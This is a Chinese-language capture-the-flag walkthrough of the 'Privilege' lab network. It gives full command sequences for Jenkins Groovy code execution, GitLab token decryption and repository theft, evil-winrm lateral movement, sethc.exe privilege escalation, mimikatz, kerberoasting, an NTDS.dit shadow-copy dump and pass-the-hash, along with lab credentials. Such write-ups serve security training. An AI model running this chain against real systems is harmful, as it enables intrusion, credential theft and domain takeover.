春秋云境-Privilege

学习点

一、Jenkins 后台 rce

jenkins管理员明文密码存放在 $JENKINS_HOME/secrets/initialAdminPassword 中,后台可以执行groovy脚本

二、Gitlab V4 API使用

通过api去操作gitlab,手册:https://docs.gitlab.com/ee/api/projects.html ,API列出所有项目

curl --header "PRIVATE-TOKEN:glpat-7kD_qLH2PiQv_ywB9hz2" "http://172.22.14.16/api/v4/projects"

三、odat

ODAT (Oracle Database Attacking Tool),专门用于远程测试 Oracle 数据库安全性,wiki:

https://github.com/quentinhardy/odat/wiki

四、特权滥用提权

五、kerberoasting

Kerberoasting 攻击深入理解 Kerberoasting 攻击域渗透——Kerberoasting

六、SPN的发现与利用

SPN注册发现与利用方法

七、卷影拷贝

域内用户Hash获取方式总结利用卷影拷贝服务提取ntds.dit内网渗透测试:从NTDS.dit获取域散列值


172.22.14.7 XR-JENKINS WordPress 服务(80 端口)、jenkins 服务(8080 端口)
172.22.14.16 gitlab.xiaorang.lab gitlab 服务器
172.22.14.31 XR-ORACLE oracle 数据库服务器
172.22.14.46 XR-0923.xiaorang.lab 内网 PC 机
172.22.14.11 XR-DC.xiaorang.lab 域控

第一关

请获取 XR Shop 官网源码的备份文件,并尝试获得系统上任意文件读取的能力。并且,管理员在配置 Jenkins 时,仍然选择了使用初始管理员密码,请尝试读取该密码并获取 Jenkins 服务器权限。Jenkins 配置目录为 C:\ProgramData\Jenkins.jenkins。

80: wordpress

8080: Jenkins

端口扫描 -> 源码泄露 -> 代审 -> 任意文件读取

39.100.181.19:139 open
39.100.181.19:445 open
39.100.181.19:3306 open
39.100.181.19:3389 open
39.100.181.19:80 open
39.100.181.19:8080 open
39.100.181.19:135 open
[*] alive ports len is: 6
start vulscan
[*] NetInfo
[*]39.100.181.19
[->]XR-JENKINS
[->]172.22.14.7
[*] WebTitle http://39.100.181.19:8080 code:403 len:548 title:None
[*] WebTitle http://39.100.181.19 code:200 len:54689 title:XR SHOP
[+] PocScan http://39.100.181.19/www.zip poc-yaml-backup-file

Jenkins明文密码存储在:$JENKINS_HOME\secrets\initialAdminPassword

利用任意文件读密码:510235cf43f14e83b88a9f144199655b

登陆后访问/script/,命令执行

println "whoami".execute().text
net user hack Ab@123 /add
net localgroup administrators hack /add

image-20241208231113375

RDP:C:\Users\Administrator\flag\flag.txt

第二关

管理员为 Jenkins 配置了 Gitlab,请尝试获取 Gitlab API Token,并最终获取 Gitlab 中的敏感仓库。获取敏感信息后,尝试连接至 Oracle 数据库,并获取 ORACLE 服务器控制权限。

C:\Users\hack>ipconfig

Windows IP 配置

以太网适配器 以太网:

连接特定的 DNS 后缀 . . . . . . . :
本地链接 IPv6 地址. . . . . . . . : fe80::9a7c:69f8:3ec4:cc0%3
IPv4 地址 . . . . . . . . . . . . : 172.22.14.7
子网掩码 . . . . . . . . . . . . : 255.255.0.0
默认网关. . . . . . . . . . . . . : 172.22.255.253

C:\Users\hack>net user

\\XR-JENKINS 的用户帐户

-------------------------------------------------------------------------------
Administrator DefaultAccount Guest
hack WDAGUtilityAccount
命令成功完成。

翻文件

image-20241208232138731

GitLab API token

{AQAAABAAAAAg9+7GBocqYmo0y3H+uDK9iPsvst95F5i3QO3zafrm2TC5U24QCq0zm/GEobmrmLYh}

该token为加密,需要控制台解密

println(hudson.util.Secret.fromString("{AQAAABAAAAAg9+7GBocqYmo0y3H+uDK9iPsvst95F5i3QO3zafrm2TC5U24QCq0zm/GEobmrmLYh}").getPlainText())

image-20241208232316833

GitLab API token:

glpat-7kD_qLH2PiQv_ywB9hz2

fscan

start infoscan
(icmp) Target 172.22.14.7 is alive
(icmp) Target 172.22.14.11 is alive
(icmp) Target 172.22.14.16 is alive
(icmp) Target 172.22.14.31 is alive
(icmp) Target 172.22.14.46 is alive
[*] Icmp alive hosts len is: 5
172.22.14.46:80 open
172.22.14.16:80 open
172.22.14.7:80 open
172.22.14.16:22 open
172.22.14.7:8080 open
172.22.14.7:3306 open
172.22.14.31:1521 open
172.22.14.46:445 open
172.22.14.31:445 open
172.22.14.11:445 open
172.22.14.7:445 open
172.22.14.31:139 open
172.22.14.46:139 open
172.22.14.11:139 open
172.22.14.31:135 open
172.22.14.46:135 open
172.22.14.7:139 open
172.22.14.11:135 open
172.22.14.7:135 open
172.22.14.11:88 open
172.22.14.16:8060 open
172.22.14.16:9094 open
[*] alive ports len is: 22
start vulscan
[*] NetInfo
[*]172.22.14.7
[->]XR-JENKINS
[->]172.22.14.7
[*] NetBios 172.22.14.11 [+] DC:XIAORANG\XR-DC
[*] NetBios 172.22.14.31 WORKGROUP\XR-ORACLE
[*] NetBios 172.22.14.46 XIAORANG\XR-0923
[*] WebTitle http://172.22.14.7:8080 code:403 len:548 title:None
[*] NetInfo
[*]172.22.14.11
[->]XR-DC
[->]172.22.14.11
[*] WebTitle http://172.22.14.16:8060 code:404 len:555 title:404 Not Found
[*] NetInfo
[*]172.22.14.31
[->]XR-ORACLE
[->]172.22.14.31
[*] NetInfo
[*]172.22.14.46
[->]XR-0923
[->]172.22.14.46
[*] WebTitle http://172.22.14.7 code:200 len:54603 title:XR SHOP
[*] WebTitle http://172.22.14.46 code:200 len:703 title:IIS Windows Server
[*] WebTitle http://172.22.14.16 code:302 len:99 title:None 跳转url: http://172.22.14.16/users/sign_in
[*] WebTitle http://172.22.14.16/users/sign_in code:200 len:34961 title:Sign in · GitLab
已完成 22/22
[*] 扫描结束,耗时: 12.1772052s

windows pc:

[*]172.22.14.7
[->]XR-JENKINS
[->]172.22.14.7

[*]172.22.14.11 DC:XIAORANG\XR-DC
[->]XR-DC
[->]172.22.14.11

[*]172.22.14.31 WORKGROUP\XR-ORACLE
[->]XR-ORACLE
[->]172.22.14.31

[*]172.22.14.46 XIAORANG\XR-0923
[->]XR-0923
[->]172.22.14.46

通过gitlab v4 api 获取所有项目

curl -H "Private-Token: glpat-7kD_qLH2PiQv_ywB9hz2" http://172.22.14.16/api/v4/projects?simple=true

image-20241208233654146

将项目都git clone下来

git clone http://gitlab.xiaorang.lab:[email protected]/xrlab/internal-secret.git
......

发现一个密码本

image-20241208234034321

还有一个oracle密码

jdbc:oracle:thin:@172.22.14.31:1521/orcl	xradmin	fcMyE8t9E4XdsKf

mdut直连

image-20241208234444846

第三关

攻击办公区内网,获取办公 PC 控制权限,并通过特权滥用提升至 SYSTEM 权限。

密码本中发现 XR-0923 中的一个用户密码

XR-0923 | zhangshuai | wSbEajHzZs

直接打一手winrm横向

proxychains4 evil-winrm -i 172.22.14.46 -u zhangshuai -p wSbEajHzZs

当前用户为地低权限,处于这两用户组中

Remote Desktop Users
Remote Management users

image-20241208235127768

但是查看当前用户的特权发现存在一个易受提权攻击的特权 SeRestorePrivilege

image-20241208235502892

此特权可以覆写文件,授予对系统上所有对象的写访问权,而不管它们的ACL如何,利用该特权特性通过以下三种方法实现提权

1、修改服务二进制文件
2、覆盖系统进程使用的DLL
3、修改注册表设置

通过覆写sethc.exe

image-20241208235857753

在rdp时触发替换的cmd.exe

image-20241209000509394

添加管理员

net user hack$ Abc@123 /add
net localgroup "administrators" hack$ /add

第四关

尝试接管备份管理操作员帐户,并通过转储 NTDS 获得域管理员权限,最终控制整个域环境。

当前域环境

域: xiaorang.lab

直接mimikatz抓密码

privilege::debug
sekurlsa::logonpasswords

发现域信息中只有一个机器账号

kerberos :
* Username : XR-0923$
* Domain : xiaorang.lab

通过该机器账号对域内做信息收集,通过kerberoasting查询域内SPN、提取TGS、转换为HASH,最后发现一个tianjing域账号

利用该机器账号凭证在攻击机上进行SPN发现
impacket-GetUserSPNs xiaorang.lab/'XR-0923$' -dc-ip 172.22.14.11 -hashes ':ec22012024d30abdb39757557852548a' -request

受控机器上利用Rubeus.exe直接对域控进行SPN查询
Rubeus.exe kerberoast /nowrap /format:hashcat

补:如果XR-0923$不需要预先身份验证,可以不使用hash凭证

image-20241209002708337

使用hashcat尝试本地爆破tianjing密码

hashcat -m 13100 -a 0 1.txt /usr/share/wordlists/rockyou.txt --force

出密码

tianjing:DPQSXSXgh2

通过BloodHound 发现 tianjing 可以和DC 建立 PSRemote 连接,直接使用winrm连接域控

proxychains4 evil-winrm -i 172.22.14.11 -u tianjing -p DPQSXSXgh2

再次进行信息收集

image-20241209003554734

image-20241209003617543

image-20241209003652276

又因为当前用户所具有的 SeBackupPrivilege特权,可以通过导出ntds.dit备份,本地导出域控hash!

上传command.txt到目标机器

set context persistent nowriters
add volume c: alias raj
create
expose %raj% z:

unix2dos将dsh文件的编码间距转换为Windows兼容的编码和间距

unix2dos raj.dsh

上传后利用diskshadow进行卷影拷贝

diskshadow /s command.txt

下载ntds和system用于解密hash

RoboCopy /b z:\windows\ntds . ntds.dit
download ntds.dit

reg save HKLM\SYSTEM system
download system

image-20241209011731089

本地解密hash

impacket-secretsdump -ntds ntds.dit -system system local

image-20241209012340927

然后pth

proxychains4 evil-winrm -i 172.22.14.11 -u administrator -H ""

image-20241209012433282